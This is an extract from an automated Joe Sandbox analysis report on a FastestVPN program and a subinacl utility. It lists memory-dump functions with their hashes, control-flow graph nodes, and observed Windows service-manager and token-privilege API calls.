                                                                                                                  • Instruction Fuzzy Hash: C9F0C271405344AEE7109E19CCC4B67FFD8EB41624F18C55AED084F297C378A840CAB1
                                                                                                                  Function 0148D640 Relevance: .0, Instructions: 35COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3384792133.000000000148D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0148D000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_148d000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 8495ca075c4b52620cfe9616ad4cc195b6bdff76ac9265959199007190b6a2b9
                                                                                                                  • Instruction ID: 850143c445ebb81767476d633e36a95c7c0c6b42113a20f1ca12a14e7395dbf8
                                                                                                                  • Opcode Fuzzy Hash: 8495ca075c4b52620cfe9616ad4cc195b6bdff76ac9265959199007190b6a2b9
                                                                                                                  • Instruction Fuzzy Hash: A2F03C75504744AFD325CF05C984C23BBB9EF856607198589E8599B362C731FC42CB60
                                                                                                                  Function 0BDB19B8 Relevance: .0, Instructions: 35COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 196e0c58b80c16ddbe447c0eb3695b787a7784ce6f42f5a548a0a4bd9b1a04af
                                                                                                                  • Instruction ID: 8b2ba19e356cdaa8c79a8164d3578b095d8f1976954eaeec92ecb93e84fca441
                                                                                                                  • Opcode Fuzzy Hash: 196e0c58b80c16ddbe447c0eb3695b787a7784ce6f42f5a548a0a4bd9b1a04af
                                                                                                                  • Instruction Fuzzy Hash: 4CF0E232614381AFD3258F29E808CA3FFEAEFC676171481AEE489C7252D621DC01C724
                                                                                                                  Function 0BDBF848 Relevance: .0, Instructions: 35COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 0f8384e450242b04e349243844bf2aba947a5fbc08d9bdd0a497207aee011f18
                                                                                                                  • Instruction ID: a05ed309ed7380cee43bb773ac0fa58ea196c739e7ccccbc166e543875a283a8
                                                                                                                  • Opcode Fuzzy Hash: 0f8384e450242b04e349243844bf2aba947a5fbc08d9bdd0a497207aee011f18
                                                                                                                  • Instruction Fuzzy Hash: B7F02712F093A44BC3062774281456DBBA6DAD3A5075844A7D41ACB386D918CC0783E2
                                                                                                                  Function 0BDB3DCA Relevance: .0, Instructions: 34COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 78bc80d3e1adb73478eb2afead2e09c51a173f52efd911e9f7991004226d9a02
                                                                                                                  • Instruction ID: b15678cf36818d328f030e1be8d16a883593cde1d8d738260fe7bab199de411d
                                                                                                                  • Opcode Fuzzy Hash: 78bc80d3e1adb73478eb2afead2e09c51a173f52efd911e9f7991004226d9a02
                                                                                                                  • Instruction Fuzzy Hash: DFF05E72500601DFD7359E59D841EA3FBF9EB88720B004A3EE18BD3651D631F451DB64
                                                                                                                  Function 0BDBBE30 Relevance: .0, Instructions: 32COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 3ec4b2413855e347171895f593b949b55ae372e88825b192c9b3ec92e060ad22
                                                                                                                  • Instruction ID: 100320a8f468c695e9c07c228bf858f32a172ed01ee083eccc3503c87868db4d
                                                                                                                  • Opcode Fuzzy Hash: 3ec4b2413855e347171895f593b949b55ae372e88825b192c9b3ec92e060ad22
                                                                                                                  • Instruction Fuzzy Hash: E6F0A032704601DBC7245E6A9804BFABBD9EBD1B61F00842FD55BC3161D675844597A0
                                                                                                                  Function 0C6C6600 Relevance: .0, Instructions: 32COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3436506770.000000000C6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C6C0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_c6c0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 8312c2ffad0b4b51a7599849441f7168ce3c1a256284c37670f97187e9d0ddf9
                                                                                                                  • Instruction ID: afb633bbb706cfe25e1b2c8a825ad3363a4f3573c669b2869fdd16789e5ece0f
                                                                                                                  • Opcode Fuzzy Hash: 8312c2ffad0b4b51a7599849441f7168ce3c1a256284c37670f97187e9d0ddf9
                                                                                                                  • Instruction Fuzzy Hash: 98F0D43A3505008FC714DB1EE488C5AFBEAEFD972131580AAF609CB731CA71EC01CA54
                                                                                                                  Function 0C6C6FC0 Relevance: .0, Instructions: 32COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3436506770.000000000C6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C6C0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_c6c0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 517bc8122e522df4575abe6a17105aeae9296c1fa7fdbf776ccb727d59582f6a
                                                                                                                  • Instruction ID: c93d9ad0338196e6c6a514191114c75329eee00db2abb53fcb425d9016789c25
                                                                                                                  • Opcode Fuzzy Hash: 517bc8122e522df4575abe6a17105aeae9296c1fa7fdbf776ccb727d59582f6a
                                                                                                                  • Instruction Fuzzy Hash: 61F012B1F001149F8B54DBADA8089AF7BF9EBCC710B144169E519D3340E6749D528BD1
                                                                                                                  Function 0C6C65F0 Relevance: .0, Instructions: 31COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3436506770.000000000C6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C6C0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_c6c0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 6bfbe4d963746bcfd4af0a3646c3a5f71173e0b92fc70085266660e89c6e1be5
                                                                                                                  • Instruction ID: 586dccee6d6e9d0c09167e343cc11b976466f3a6359ec6df5179fec4966e7728
                                                                                                                  • Opcode Fuzzy Hash: 6bfbe4d963746bcfd4af0a3646c3a5f71173e0b92fc70085266660e89c6e1be5
                                                                                                                  • Instruction Fuzzy Hash: 1FF017353092808FC715CB2AD494955FBE9AF9A62031980AEE9898B722C621EC01CB61
                                                                                                                  Function 0BDBDBB8 Relevance: .0, Instructions: 29COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 43a74d1eb72399a5f6bd3bf8be33f5e642e85f8c5782d344a231f757b7a2abb3
                                                                                                                  • Instruction ID: 1edcf6d1a145b0fb7472282375930eb204253e1a9a5125fc6be9c9012d8ecf96
                                                                                                                  • Opcode Fuzzy Hash: 43a74d1eb72399a5f6bd3bf8be33f5e642e85f8c5782d344a231f757b7a2abb3
                                                                                                                  • Instruction Fuzzy Hash: 6CF0583A6042488FDB12CF28C880CD57BF2AFA930471A8596E484CF362E771DD15DB90
                                                                                                                  Function 0BDBBE40 Relevance: .0, Instructions: 28COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 29ad01ff8c4614a97c5ea92a99ad1c0df036918a6221ec65a6ea183e99a0ae50
                                                                                                                  • Instruction ID: a0a2fcdcf28b3f5e8bf3f2977c96f7b67ae8d52b4c82530966590f63ff38febd
                                                                                                                  • Opcode Fuzzy Hash: 29ad01ff8c4614a97c5ea92a99ad1c0df036918a6221ec65a6ea183e99a0ae50
                                                                                                                  • Instruction Fuzzy Hash: C5E0DF22304600DBC6246A6B9804BEBF6CDDBC1A71F00843BD29BC3260CA74D88483A0
                                                                                                                  Function 0BDB1BE8 Relevance: .0, Instructions: 26COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 065d8591ae5ab8f77d1819f6d181696809edd9a18a82f62d5fd3435a76890574
                                                                                                                  • Instruction ID: 13618bab2c377074f3d38c9d6f40f76eca7ce59fda6096c7c3f590ef309c2a11
                                                                                                                  • Opcode Fuzzy Hash: 065d8591ae5ab8f77d1819f6d181696809edd9a18a82f62d5fd3435a76890574
                                                                                                                  • Instruction Fuzzy Hash: E6E04F363101149BC7149A4EE404D9AFBEDDBD87717048037F609C7320CA71DD5286A4
                                                                                                                  Function 0BDBDBC8 Relevance: .0, Instructions: 24COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: d061bb1eff9e85ce07622ff61521d244d738676616d0b1ceb5788d279bf3808a
                                                                                                                  • Instruction ID: 54e3888a21b8f3213d59400008664eede2a1da2aaa0cd546e3ae06e6d14ee30e
                                                                                                                  • Opcode Fuzzy Hash: d061bb1eff9e85ce07622ff61521d244d738676616d0b1ceb5788d279bf3808a
                                                                                                                  • Instruction Fuzzy Hash: 24E0ED392041099FCB01DF58D880C967BEAEF593147158495E549CB362DB31EC11DB90
                                                                                                                  Function 0BDB676A Relevance: .0, Instructions: 23COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: b92289ecfce5b6124193b4272b53d71aa66d478a6454054366f75094c4745db6
                                                                                                                  • Instruction ID: b2a86358514499935982b492ed2dca241a731021382b6e60298af232dacdbb3e
                                                                                                                  • Opcode Fuzzy Hash: b92289ecfce5b6124193b4272b53d71aa66d478a6454054366f75094c4745db6
                                                                                                                  • Instruction Fuzzy Hash: CDE0D8723482409FD705CF3498A0BA5BBA6EBC1611F148056E5498E18ACA25E401C760
                                                                                                                  Function 0BDB672F Relevance: .0, Instructions: 22COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: c3d6f6fad257372cf9190a6bc673d1d25ec92368889613f24a991d9b72c8e2fa
                                                                                                                  • Instruction ID: 7f024feff6c5f0efa794ee3ae6c175d1d677b7a6a9e26e46a0ac6d9e1219a66f
                                                                                                                  • Opcode Fuzzy Hash: c3d6f6fad257372cf9190a6bc673d1d25ec92368889613f24a991d9b72c8e2fa
                                                                                                                  • Instruction Fuzzy Hash: F1E02B7330C2047E6A022BA06CC8CBFFF9AEB822F9310421FF5C341A81DE528D11A750
                                                                                                                  Function 0C6C6CF6 Relevance: .0, Instructions: 19COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3436506770.000000000C6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C6C0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_c6c0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 40d90f2da6845c084aa475edf04e3caaa030e6ed29f6a345036fbc9a113673a6
                                                                                                                  • Instruction ID: 8be823e2d2073df76b86ee17c2e7cebc976bf09f768f2129c62c565659781a2f
                                                                                                                  • Opcode Fuzzy Hash: 40d90f2da6845c084aa475edf04e3caaa030e6ed29f6a345036fbc9a113673a6
                                                                                                                  • Instruction Fuzzy Hash: 98E02B35300524AFCB166B84E4407EA7BB9FB4A720F10501EE54A47691CB74F958D7C4
                                                                                                                  Function 0C6C6CF8 Relevance: .0, Instructions: 18COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3436506770.000000000C6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C6C0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_c6c0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 8b3e1b4bd18ed9cd5629e9c7dae88a70872370983896088016f4d4df2dd54a04
                                                                                                                  • Instruction ID: 7ecd56d1266a77c9836b51d3469ca33ab10253efb47b57e095cd54a78de09e11
                                                                                                                  • Opcode Fuzzy Hash: 8b3e1b4bd18ed9cd5629e9c7dae88a70872370983896088016f4d4df2dd54a04
                                                                                                                  • Instruction Fuzzy Hash: D1D02B35300628AFC7166A88D4407EA7BADFB09720F10401EE44647690CB74F858D7C4
                                                                                                                  Function 0C6C7003 Relevance: .0, Instructions: 15COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3436506770.000000000C6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C6C0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_c6c0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 8d5981fc14dbbcf9dfd4b7e4f0fc6e80b331e9fefb4f57c923ee39073b34e8c5
                                                                                                                  • Instruction ID: babafe46929cf566848679cb27bba0f8c0deaf61b33b7a4a1d4c6f1a0fa40d52
                                                                                                                  • Opcode Fuzzy Hash: 8d5981fc14dbbcf9dfd4b7e4f0fc6e80b331e9fefb4f57c923ee39073b34e8c5
                                                                                                                  • Instruction Fuzzy Hash: 58D0A97AB001208BCA10BE9DF8015883733E3C4731F200221EA38972C4CA74ADA28B80
                                                                                                                  Function 0BDBF838 Relevance: .0, Instructions: 14COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 5d02c6d6476ce45f51228b24f09acfc2fe8ad85daa4ea2e36e841f8a14f0bf41
                                                                                                                  • Instruction ID: 728fce53ed72ea45a34a32c0b68ab29c3e264deefda73ada6feb54e43f27bbd5
                                                                                                                  • Opcode Fuzzy Hash: 5d02c6d6476ce45f51228b24f09acfc2fe8ad85daa4ea2e36e841f8a14f0bf41
                                                                                                                  • Instruction Fuzzy Hash: CCD0127274F2E44FC3424B5868188A9BF6A8E5771131941FFE019CB51AD1548E4187D2

                                                                                                                  Executed Functions

                                                                                                                  Function 01865A60 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 98COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 0 1865a60-1865a78 3 1865a7a-1865ac7 0->3 4 1865a29-1865a2b 0->4 5 1866958-186699b 3->5 4->5 6 18669a3-18669a7 5->6 7 186699d-18669a0 5->7 9 18669af-18669de OpenSCManagerW 6->9 10 18669a9-18669ac 6->10 7->6 11 18669e7-1866a04 9->11 12 18669e0-18669e6 9->12 10->9 12->11
                                                                                                                  APIs
                                                                                                                  • OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 018669D1
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000027.00000002.2584012681.0000000001860000.00000040.00000800.00020000.00000000.sdmp, Offset: 01860000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_39_2_1860000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ManagerOpen
                                                                                                                  • String ID: 0- l
                                                                                                                  • API String ID: 1889721586-813366239
                                                                                                                  • Opcode ID: db94b27b53212da0c2ff093bbbe07f327f9bb885d764508aa2341902f68f80e5
                                                                                                                  • Instruction ID: c3a06eec3d15b491bd017c5e82e81a3616556a8323567595ca13635cd4e2bd74
                                                                                                                  • Opcode Fuzzy Hash: db94b27b53212da0c2ff093bbbe07f327f9bb885d764508aa2341902f68f80e5
                                                                                                                  • Instruction Fuzzy Hash: BB31B0B68193A98FDB01EFADD8507CEBFB4EF85310F14405BC584AB242D3349549CBA5
                                                                                                                  Function 018668E7 Relevance: 1.6, APIs: 1, Instructions: 109COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 19 18668e7-18668f0 20 18668f2-18668fe 19->20 21 186694b-1866954 19->21 24 1866900-1866903 20->24 25 186690c-1866910 20->25 22 1866956-186699b 21->22 23 1866905 21->23 28 18669a3-18669a7 22->28 29 186699d-18669a0 22->29 23->25 27 1866907-186690a 23->27 24->23 27->25 30 1866911-186691f 27->30 31 18669af-18669de OpenSCManagerW 28->31 32 18669a9-18669ac 28->32 29->28 36 1866921-1866929 30->36 37 186693f-1866946 30->37 33 18669e7-1866a04 31->33 34 18669e0-18669e6 31->34 32->31 34->33 39 1866935-1866939 36->39 40 186692b-186692e 36->40 40->39 42 1866930-1866933 40->42 42->39 43 186693a-186693d 42->43 43->36 43->37
                                                                                                                  APIs
                                                                                                                  • OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 018669D1
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000027.00000002.2584012681.0000000001860000.00000040.00000800.00020000.00000000.sdmp, Offset: 01860000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_39_2_1860000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ManagerOpen
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1889721586-0
                                                                                                                  • Opcode ID: c1430156ad3a7c6bfc5167bd47252bd6ed4b13ba337e5672364637e1a20d44c7
                                                                                                                  • Instruction ID: b30bf37c19a6b9e24f2c4b8100c3ebd643d8fda25c26638bf92ceab84ab84231
                                                                                                                  • Opcode Fuzzy Hash: c1430156ad3a7c6bfc5167bd47252bd6ed4b13ba337e5672364637e1a20d44c7
                                                                                                                  • Instruction Fuzzy Hash: DE31D3719052998FDB20CFADD8446DEBFF8EF89310F24806ED958EB201E3359941CBA1
                                                                                                                  Function 01865A24 Relevance: 1.6, APIs: 1, Instructions: 61COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 44 1865a24-186699b 47 18669a3-18669a7 44->47 48 186699d-18669a0 44->48 49 18669af-18669de OpenSCManagerW 47->49 50 18669a9-18669ac 47->50 48->47 51 18669e7-1866a04 49->51 52 18669e0-18669e6 49->52 50->49 52->51
                                                                                                                  APIs
                                                                                                                  • OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 018669D1
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000027.00000002.2584012681.0000000001860000.00000040.00000800.00020000.00000000.sdmp, Offset: 01860000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_39_2_1860000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ManagerOpen
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1889721586-0
                                                                                                                  • Opcode ID: 194efe2660c2e166523367fccb377a3f0821706e90d2529f340de54c84480da8
                                                                                                                  • Instruction ID: 0d3f4246565e6f9ec5fbfef0b338aca6d2a9eadeed49d729084df53ccb7d62cc
                                                                                                                  • Opcode Fuzzy Hash: 194efe2660c2e166523367fccb377a3f0821706e90d2529f340de54c84480da8
                                                                                                                  • Instruction Fuzzy Hash: 052137B5D003599FDB14CF9AC844ADEFBF8FB88310F24852AD905A7200D375AA44CBA5

                                                                                                                  Executed Functions

                                                                                                                  Function 0102E7AC Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 106COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  APIs
                                                                                                                  • __EH_prolog.LIBCMT ref: 0102E7B1
                                                                                                                  • #540.MFC42U(00000002,?,?), ref: 0102E809
                                                                                                                  • #2755.MFC42U(0000005C,00000002,?,?), ref: 0102E817
                                                                                                                  • #858.MFC42U(?,0000005C,00000002,?,?), ref: 0102E82C
                                                                                                                  • #2910.MFC42U(00000000,?,00000032,00000000,00000400,?,?,0000005C,00000002,?,?), ref: 0102E851
                                                                                                                  • #2910.MFC42U(00000000,00000000,00000000,?,00000032,00000000,00000400,?,?,0000005C,00000002,?,?), ref: 0102E85E
                                                                                                                  • LookupAccountNameW.ADVAPI32(00000000,00000000,00000000,00000000,?,00000032,00000000), ref: 0102E864
                                                                                                                  • #861.MFC42U(00000000,?,?), ref: 0102E877
                                                                                                                  • #942.MFC42U(01001514,00000000,?,?), ref: 0102E883
                                                                                                                  • #940.MFC42U(?,01001514,00000000,?,?), ref: 0102E891
                                                                                                                  • #4197.MFC42U(?,01001514,00000000,?,?), ref: 0102E898
                                                                                                                  • #4197.MFC42U(?,01001514,00000000,?,?), ref: 0102E89F
                                                                                                                  • #800.MFC42U(?,?), ref: 0102E8B1
                                                                                                                  • #2910.MFC42U(00000000,?,00000032,00000000,00000400,?,0000005C,00000002,?,?), ref: 0102E8F1
                                                                                                                  • #2910.MFC42U(00000000,00000000,00000000,?,00000032,00000000,00000400,?,0000005C,00000002,?,?), ref: 0102E8FE
                                                                                                                  • LookupAccountNameW.ADVAPI32(00000000,00000000,00000000,00000000,?,00000032,00000000), ref: 0102E904
                                                                                                                  • #858.MFC42U(?,?,?), ref: 0102E911
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, Offset: 01000000, based on PE: true
                                                                                                                  • Associated: 00000028.00000002.2593107424.0000000001000000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001046000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001053000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593214884.0000000001054000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_40_2_1000000_subinacl.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: #2910$#4197#858AccountLookupName$#2755#540#800#861#940#942H_prolog
                                                                                                                  • String ID: 2
                                                                                                                  • API String ID: 2393241501-450215437
                                                                                                                  • Opcode ID: 7dd40080386fb234284cb194f071b6abecaa21ed9a18f4b8e9689aec1b73025a
                                                                                                                  • Instruction ID: 2e9b923ec4b290bea4cd1781c9e0833a9b4e8cd3dbab4b455301ef9d011e607f
                                                                                                                  • Opcode Fuzzy Hash: 7dd40080386fb234284cb194f071b6abecaa21ed9a18f4b8e9689aec1b73025a
                                                                                                                  • Instruction Fuzzy Hash: 1A313071A001299ADB15EB54CC80AEEB3FDBF94300F4085AAE195E2180DF759B868FE1
                                                                                                                  Function 0101CA79 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 77COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 1475 101ca79-101caa3 LookupPrivilegeValueW 1476 101caa5-101caa6 1475->1476 1477 101caa8-101cad4 AdjustTokenPrivileges 1475->1477 1478 101cb15-101cb1b GetLastError 1476->1478 1479 101cb10 1477->1479 1480 101cad6-101cafa PrivilegeCheck 1477->1480 1483 101cb1c-101cb2d call 101c94a _CxxThrowException 1478->1483 1479->1478 1481 101cb03-101cb07 1480->1481 1482 101cafc-101cb01 1480->1482 1484 101cb32-101cb3b call 103dee7 1481->1484 1485 101cb09-101cb0e 1481->1485 1482->1478 1483->1484 1485->1483
                                                                                                                  APIs
                                                                                                                  • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,?), ref: 0101CA9B
                                                                                                                  • AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,00000000,00000000), ref: 0101CACC
                                                                                                                  • PrivilegeCheck.ADVAPI32(?,?,?), ref: 0101CAEF
                                                                                                                  • GetLastError.KERNEL32(Failed to adjust token privilege :), ref: 0101CB15
                                                                                                                  • _CxxThrowException.MSVCRT(?,010414A0), ref: 0101CB2D
                                                                                                                  Strings
                                                                                                                  • PrivilegeCheck, xrefs: 0101CAFC
                                                                                                                  • Failed to adjust token privilege :, xrefs: 0101CB10
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, Offset: 01000000, based on PE: true
                                                                                                                  • Associated: 00000028.00000002.2593107424.0000000001000000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001046000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001053000.00000004.00000001.01000000.00000021.sdmpDownload File
